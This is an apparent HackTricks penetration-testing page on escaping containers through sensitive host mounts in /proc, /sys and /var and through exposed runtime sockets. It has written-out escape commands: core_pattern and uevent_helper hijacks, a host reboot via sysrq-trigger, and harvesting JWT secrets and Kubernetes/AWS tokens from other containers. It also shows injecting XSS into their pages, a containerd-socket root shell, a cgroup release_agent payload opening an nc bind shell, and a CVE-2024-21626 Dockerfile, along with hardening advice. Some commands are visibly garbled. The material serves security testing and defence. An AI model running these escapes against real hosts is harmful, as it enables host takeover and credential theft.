hacktricks/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md

Sensitive Mounts

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The exposure of /proc, /sys, and /var without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting -v /proc:/host/proc can bypass AppArmor protection due to its path-based nature, leaving /host/proc unprotected.

You can find further details of each potential vuln in https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

procfs Vulnerabilities

/proc/sys

This directory permits access to modify kernel variables, usually via sysctl(2), and contains several subdirectories of concern:

/proc/sys/kernel/core_pattern

• Described in core(5).

• If you can write inside this file it's possible to write a pipe | followed by the path to a program or script that will be exuted after a crash happens.

• An attacker can find the path inside the host to his container executing mount and write the path to a binary inside his container file system. Then, crash a program to make the kernel execute the binary outside of the container.

• Testing and Exploitation Example:

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler

Check this post for more information.

Example program taht crashes:

int main(void) {
	char buf[1];
	for (int i = 0; i < 100; i++) {
		buf[i] = 1;
	}
	return 0;
}

/proc/sys/kernel/modprobe

• Detailed in proc(5).

• Contains the path to the kernel module loader, invoked for loading kernel modules.

• Checking Access Example:

  ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
  

/proc/sys/vm/panic_on_oom

• Referenced in proc(5).
• A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs.

/proc/sys/fs

• As per proc(5), contains options and information about the file system.
• Write access can enable various denial-of-service attacks against the host.

/proc/sys/fs/binfmt_misc

• Allows registering interpreters for non-native binary formats based on their magic number.
• Can lead to privilege escalation or root shell access if /proc/sys/fs/binfmt_misc/register is writable.
• Relevant exploit and explanation:
  • Poor man's rootkit via binfmt_misc
  • In-depth tutorial: Video link

Others in /proc

/proc/config.gz

• May reveal the kernel configuration if CONFIG_IKCONFIG_PROC is enabled.
• Useful for attackers to identify vulnerabilities in the running kernel.

/proc/sysrq-trigger

• Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions.

• Rebooting Host Example:

  echo b > /proc/sysrq-trigger # Reboots the host
  

/proc/kmsg

• Exposes kernel ring buffer messages.
• Can aid in kernel exploits, address leaks, and provide sensitive system information.

/proc/kallsyms

• Lists kernel exported symbols and their addresses.
• Essential for kernel exploit development, especially for overcoming KASLR.
• Address information is restricted with kptr_restrict set to 1 or 2.
• Details in proc(5).

/proc/[pid]/mem

• Interfaces with the kernel memory device /dev/mem.
• Historically vulnerable to privilege escalation attacks.
• More on proc(5).

/proc/kcore

• Represents the system's physical memory in ELF core format.
• Reading can leak host system and other containers' memory contents.
• Large file size can lead to reading issues or software crashes.
• Detailed usage in Dumping /proc/kcore in 2019.

/proc/kmem

• Alternate interface for /dev/kmem, representing kernel virtual memory.
• Allows reading and writing, hence direct modification of kernel memory.

/proc/mem

• Alternate interface for /dev/mem, representing physical memory.
• Allows reading and writing, modification of all memory requires resolving virtual to physical addresses.

/proc/sched_debug

• Returns process scheduling information, bypassing PID namespace protections.
• Exposes process names, IDs, and cgroup identifiers.

/proc/[pid]/mountinfo

• Provides information about mount points in the process's mount namespace.
• Exposes the location of the container rootfs or image.

/sys Vulnerabilities

/sys/kernel/uevent_helper

• Used for handling kernel device uevents.
• Writing to /sys/kernel/uevent_helper can execute arbitrary scripts upon uevent triggers.
• Example for Exploitation:

  #### Creates a payload

  echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

  #### Finds host path from OverlayFS mount for container

  host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

  #### Sets uevent_helper to malicious helper

  echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

  #### Triggers a uevent

  echo change > /sys/class/mem/null/uevent

  #### Reads the output

  cat /output

/sys/class/thermal

• Controls temperature settings, potentially causing DoS attacks or physical damage.

/sys/kernel/vmcoreinfo

• Leaks kernel addresses, potentially compromising KASLR.

/sys/kernel/security

• Houses securityfs interface, allowing configuration of Linux Security Modules like AppArmor.
• Access might enable a container to disable its MAC system.

/sys/firmware/efi/vars and /sys/firmware/efi/efivars

• Exposes interfaces for interacting with EFI variables in NVRAM.
• Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

/sys/kernel/debug

• debugfs offers a "no rules" debugging interface to the kernel.
• History of security issues due to its unrestricted nature.

/var Vulnerabilities

The host's /var folder contains container runtime sockets and the containers' filesystems. If this folder is mounted inside a container, that container will get read-write access to other containers' file systems with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other containers and applications that run in them.

Kubernetes

If a container like this is deployed with Kubernetes:

apiVersion: v1
kind: Pod
metadata:
  name: pod-mounts-var
  labels:
    app: pentest
spec:
  containers:
    - name: pod-mounts-var-folder
      image: alpine
      volumeMounts:
        - mountPath: /host-var
          name: noderoot
      command: [ "/bin/sh", "-c", "--" ]
      args: [ "while true; do sleep 30; done;" ]
  volumes:
    - name: noderoot
      hostPath:
        path: /var

Inside the pod-mounts-var-folder container:

/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html

The XSS was achieved:

Note that the container DOES NOT require a restart or anything. Any changes made via the mounted /var folder will be applied instantly.

You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.

Access to cloud credentials

The container can read K8s serviceaccount tokens or AWS webidentity tokens which allows the container to gain unauthorized access to K8s or cloud:

/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token

Docker

The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually the other containers' filesystems are available under a different base path:

$ docker info | grep -i 'docker root\|storage driver'
 Storage Driver: overlay2
 Docker Root Dir: /var/lib/docker

So the filesystems are under /var/lib/docker/overlay2/:

$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>

Note

The actual paths may differ in different setups, which is why your best bet is to use the find command to locate the other containers' filesystems and SA / web identity tokens

Other Sensitive Host Sockets and Directories (2023-2025)

Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. Treat the following paths as highly sensitive and never expose them to untrusted workloads:

/run/containerd/containerd.sock     # containerd CRI socket
/var/run/crio/crio.sock             # CRI-O runtime socket
/run/podman/podman.sock             # Podman API (rootful or rootless)
/run/buildkit/buildkitd.sock        # BuildKit daemon (rootful)
/var/run/kubelet.sock               # Kubelet API on Kubernetes nodes
/run/firecracker-containerd.sock    # Kata / Firecracker

Attack example abusing a mounted containerd socket:

# inside the container (socket is mounted at /host/run/containerd.sock)
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
  type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
chroot /host /bin/bash   # full root shell on the host

A similar technique works with crictl, podman or the kubelet API once their respective sockets are exposed.

Writable cgroup v1 mounts are also dangerous. If /sys/fs/cgroup is bind-mounted rw and the host kernel is vulnerable to CVE-2022-0492, an attacker can set a malicious release_agent and execute arbitrary code in the initial namespace:

# assuming the container has CAP_SYS_ADMIN and a vulnerable kernel
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release

echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # requires CVE-2022-0492

echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
sh -c "echo 0 > /tmp/x/cgroup.procs"  # triggers the empty-cgroup event

When the last process leaves the cgroup, /tmp/pwn runs as root on the host. Patched kernels (>5.8 with commit 32a0db39f30d) validate the writer’s capabilities and block this abuse.

Mount-Related Escape CVEs (2023-2025)

• CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak
  runc ≤ 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or docker exec could start a container whose working directory is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥ 25.0.3, containerd ≥ 1.7.14).

  FROM scratch
  WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
  CMD ["/bin/sh"]
  

• CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU
  A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be copy-up into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted docker build on a vulnerable daemon.

• CVE-2024-1753 – Buildah / Podman bind-mount breakout during build
  Buildah ≤ 1.35.0 (and Podman ≤ 4.9.3) incorrectly resolved absolute paths passed to --mount=type=bind in a Containerfile. A crafted build stage could mount / from the host read-write inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series.

• CVE-2024-40635 – containerd UID integer overflow
  Supplying a User value larger than 2147483647 in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4.

Hardening Reminders (2025)

1. Bind-mount host paths read-only whenever possible and add nosuid,nodev,noexec mount options.
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
3. Keep the container runtime up-to-date (runc ≥ 1.1.12, BuildKit ≥ 0.12.5, Buildah ≥ 1.35.1 / Podman ≥ 4.9.4, containerd ≥ 1.7.27).
4. In Kubernetes, use securityContext.readOnlyRootFilesystem: true, the restricted PodSecurity profile and avoid hostPath volumes pointing to the paths listed above.

References

• runc CVE-2024-21626 advisory
• Unit 42 analysis of CVE-2022-0492
• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
• Understanding and Hardening Linux Containers
• Abusing Privileged and Unprivileged Linux Containers
• Buildah CVE-2024-1753 advisory
• containerd CVE-2024-40635 advisory

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